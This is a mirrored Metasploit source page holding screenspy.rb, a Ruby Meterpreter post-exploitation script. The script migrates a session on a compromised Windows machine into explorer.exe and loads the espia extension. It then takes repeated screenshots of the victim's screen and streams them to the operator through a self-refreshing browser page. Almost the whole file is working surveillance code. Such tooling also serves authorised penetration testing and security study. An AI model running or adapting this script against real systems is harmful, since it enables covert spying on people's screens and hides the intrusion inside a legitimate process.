Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

screenspy.rb 4.3KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. # Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com
  7. #
  8. # Thie script will open an interactive view of remote hosts
  9. # You will need firefox installed on your machine
  10. require 'fileutils'
  11. opts = Rex::Parser::Arguments.new(
  12. "-h" => [ false, "Help menu." ],
  13. "-d" => [ true, "The Delay in seconds between each screenshot." ],
  14. "-t" => [ true, "The time to run in sec." ],
  15. "-s" => [ true, "The local system linux/windows" ]
  16. )
  17. freq = 3
  18. count = 10
  19. file = "screenshot.jpeg"
  20. meter_type = client.platform
  21. localsys = "linux"
  22. opts.parse(args) { |opt, idx, val|
  23. case opt
  24. when '-d'
  25. freq = val.to_i
  26. when '-t'
  27. count = val.to_i
  28. when '-s'
  29. localsys = val.to_s
  30. when "-h"
  31. print_line
  32. print_line "Screenspy v1.0"
  33. print_line "--------------"
  34. print_line
  35. print_line
  36. print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long."
  37. print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long."
  38. print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode."
  39. print_line
  40. print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com"
  41. print_line(opts.usage)
  42. raise Rex::Script::Completed
  43. end
  44. }
  45. # Wrong Meterpreter Version Message Function
  46. #-------------------------------------------------------------------------------
  47. def wrong_meter_version(meter = meter_type)
  48. print_error("#{meter} version of Meterpreter is not supported with this Script!")
  49. raise Rex::Script::Completed
  50. end
  51. # Check for Version of Meterpreter
  52. wrong_meter_version(meter_type) if meter_type != 'windows'
  53. session = client
  54. host,port = session.session_host, session.session_port
  55. print_status("New session on #{host}:#{port}...")
  56. logs = ::File.join(Msf::Config.install_root, 'logs', 'screenshot', host)
  57. outfile = ::File.join(Msf::Config.log_directory,file)
  58. ::FileUtils.mkdir_p(logs)
  59. begin
  60. process2mig = "explorer.exe"
  61. # Actual migration
  62. mypid = session.sys.process.getpid
  63. session.sys.process.get_processes().each do |x|
  64. if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
  65. print_status("#{process2mig} Process found, migrating into #{x['pid']}")
  66. session.core.migrate(x['pid'].to_i)
  67. print_status("Migration Successful!!")
  68. end
  69. end
  70. rescue
  71. print_status("Failed to migrate process!")
  72. #next
  73. end
  74. begin
  75. session.core.use("espia")
  76. begin
  77. data="<title>#{host}</title><img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'><meta http-equiv='refresh' content='1'>"
  78. path1 = File.join(logs,"video.html")
  79. File.open(path1, 'w') do |f2|
  80. f2.puts(data)
  81. end
  82. if (localsys == "windows")
  83. print_status("Runing in local mode => windows")
  84. print_status("Opening Interactive view...")
  85. localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""
  86. else
  87. print_status("Runing in local mode => Linux")
  88. print_status("Opening Interactive view...")
  89. localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""
  90. end
  91. system (localcmd)
  92. (1..count).each do |i|
  93. sleep(freq) if(i != 1)
  94. path = File.join(logs,"screenshot.jpeg")
  95. data = session.espia.espia_image_get_dev_screen
  96. if(data)
  97. ::File.open(path, 'wb') do |fd|
  98. fd.write(data)
  99. fd.close()
  100. end
  101. end
  102. end
  103. rescue ::Exception => e
  104. print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}")
  105. end
  106. print_status("The interactive Session ended...")
  107. data = <<-EOS
  108. <title>#{host} - Interactive Session ended</title>
  109. <img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'>
  110. <script>alert('Interactive Session ended - Happy Hunting')</script>
  111. EOS
  112. File.open(path1, 'w') do |f2|
  113. f2.puts(data)
  114. end
  115. rescue ::Exception => e
  116. print_status("Exception: #{e.class} #{e} #{e.backtrace}")
  117. end